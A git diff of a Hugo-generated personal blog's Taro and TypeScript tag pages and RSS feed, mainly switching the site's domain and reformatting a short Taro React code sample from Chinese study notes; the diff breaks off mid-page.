index 45862926..ae40fe2d 100644
--- a/tags/taro/index.html
+++ b/tags/taro/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Taro | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/taro/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/taro/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Taro"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/taro/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Taro"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Taro</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Taro | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/taro/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/taro/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Taro"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/taro/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Taro"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Taro</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro官方组件库：https://taro-ui.jd.com/
@@ -23,18 +23,7 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
-import { View, Text } from '@tarojs/components'
-import './index.less'
-function Main(){
-const [count ,setUserName] = useState("hallo word")
-return ( &lt;View>
-&lt;Text>{count}&lt;/Text>
-&lt;/View>
-)
-}
-export default Main
-子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等
@@ -54,7 +43,7 @@
 作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
 import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件
-import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/taro/index.xml b/tags/taro/index.xml
index 0e5204e0..0e109cf1 100644
--- a/tags/taro/index.xml
+++ b/tags/taro/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Taro on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/taro/</link>
+    <link>https://chenjunlinabc.github.io/tags/taro/</link>
     <description>Recent content in Taro on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 31 Aug 2021 12:15:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/taro/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 31 Aug 2021 12:15:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/taro/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Taro框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -43,15 +43,15 @@ ReactNative yarn dev:rn
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from &#39;@tarojs/taro&#39;
import { View, Text } from &#39;@tarojs/components&#39;
import &#39;./index.less&#39;
function Main(){
const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;)
return ( &amp;lt;View&amp;gt;
&amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt;
&amp;lt;/View&amp;gt;
)
}
export default Main
子组件</description>
+import Taro, { useState } from &#39;@tarojs/taro&#39; import { View, Text } from &#39;@tarojs/components&#39; import &#39;./index.less&#39; function Main(){ const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;) return ( &amp;lt;View&amp;gt; &amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt; &amp;lt;/View&amp;gt; ) } export default Main 子组件</description>
     </item>
     
     <item>
       <title>Taro脚手架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
diff --git a/tags/taro/page/1/index.html b/tags/taro/page/1/index.html
index d3490178..e95b2f99 100644
--- a/tags/taro/page/1/index.html
+++ b/tags/taro/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/taro/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/taro/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/taro/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/taro/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/taro/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/taro/"></head></html>
\ No newline at end of file
diff --git a/tags/typescript/index.html b/tags/typescript/index.html
index c5f417fb..050cca1e 100644
--- a/tags/typescript/index.html
+++ b/tags/typescript/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>TypeScript | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/typescript/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/typescript/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="TypeScript"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/typescript/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="TypeScript"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>TypeScript</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>TypeScript | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/typescript/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/typescript/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="TypeScript"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/typescript/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="TypeScript"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" 